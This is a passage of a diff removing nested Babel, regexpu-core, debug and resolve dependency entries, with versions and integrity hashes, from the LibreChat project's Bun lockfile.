- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "@librechat/client/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
